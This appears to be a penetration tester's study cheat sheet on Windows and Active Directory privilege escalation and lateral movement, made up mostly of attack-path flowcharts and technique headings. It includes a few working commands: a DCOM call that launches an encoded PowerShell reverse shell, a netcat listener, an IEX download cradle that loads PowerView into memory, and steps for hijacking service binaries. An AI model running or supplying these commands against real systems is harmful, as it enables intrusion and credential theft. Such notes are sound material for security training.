Exploits Flowchart

I have…

  • No domain account access
    • A list of usernames but an unknown password
  • Domain account access
    • List of usernames but an unknown password
    • SeDebugPrivilege right (default given to admins)
    • Domain Admins / Enterprise Admins / Administrators / Domain Controllers membership
    • Hash of a service account (they have an SPN)
    • Hash for the krbtgt account
    • Domain Admins membership
    • GenericAll or GenericWrite permissions on a user object
      • Disable Kerberos pre-authentication then
      • Add an SPN then

Lateral Movement Flowchart

I have a…

  • Password & username
    • For user with Administrators membership on remote machine
      • $ADMIN share available & File and Printer Sharing enabled (both yes by default)
    • For user with Remote Management Users membership on remote machine
    • For user with Remote Desktop Users membership on remote machine & port 3389 open
  • Hash & username
    • For user with Administrators membership on remote machine
      • $ADMIN share available & File and Printer Sharing enabled (both yes by default)
      • WinRM enabled on remote machine (port 5985 or 5986 open)
    • For user with Remote Desktop Users membership on remote machine & port 3389 open
  • Cached TGS:
  • Saved credentials:
  • Session with administrator privileges:

Enumeration

Exploits

Hijacking Service Binaries

kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Change service binary path

Hijacking Service DLLs

We might need to restart the service to get any results in Process Monitor:

PS C:\Users\steve> Restart-Service BetaService

Unquoted Service Paths

kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

___
Transfer the binary to the victim machine. See options [](Transfer%20Files.md#Transfer%20to%20Windows|here).
___
Copy the binary to the chosen folder:
```powershell
PS C:\Users\steve> copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'

Scheduled Tasks

Privileges (Se…)

SeImpersonatePrivilege
SeBackupPrivilege
SeManageVolumePrivilege
SeRestorePrivilege
Local Service (upgrade to full privileges)

Autologon

Logon Sessions (PuTTY etc.)

Dump cached logon hashes

Requires

  • Login credentials
  • SYSTEM or local admin permissions
  • SeDebugPrivilege (might come with the admin privileges)

Dump cached Kerberos tickets

Requires

  • Login credentials
  • SYSTEM or local admin permissions

AS-REP Roasting

Kerberoasting

Targeted Kerberoasting

Silver Tickets

Requires - hash of a SPN, domain SID, and SPN

DCSync Attack

Golden Ticket

Requires - the krbtgt hash

Shadow Copies

Group Membership

Permissions

GenericAll

Lateral Movement

WMI (wmic.exe / PS WMI)

psexec.exe

Requires - (1) Username and hash/password for user with Administrator membership on remote machine (2) ADMIN$ share available (it is by default) (3) File and Printer Sharing enabled (it is by default)

impacket-wmiexec/psexec

Requires - (1) Username and hash/password for user with Administrator membership on remote machine (2) ADMIN$ share available (it is by default) (3) File and Printer Sharing enabled (it is by default)

WinRM (winrs.exe / PS remoting)

Evil-WinRM

RDP

Overpass the hash

Pass the Ticket

DCOM (Distributed Component Object Model)

Requires - Administrator privileges on the local machine.

Spawn the calculator app on the remote machine:

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
\$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

Spawn a reverse shell on the remote machine:

\$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")

Setup a listener on Kali:

kali@kali:~$ nc -lnvp 443

Runas

PS C:\Users\steve> runas /user:backupadmin cmd

Transfer Files

(Linux → Windows) Download and inject a .ps1 into memory

Inject PowerView into memory
IEX(New-Object Net.WebClient).downloadString('http://192.168.45.219/PowerView.ps1')

Miscellaneous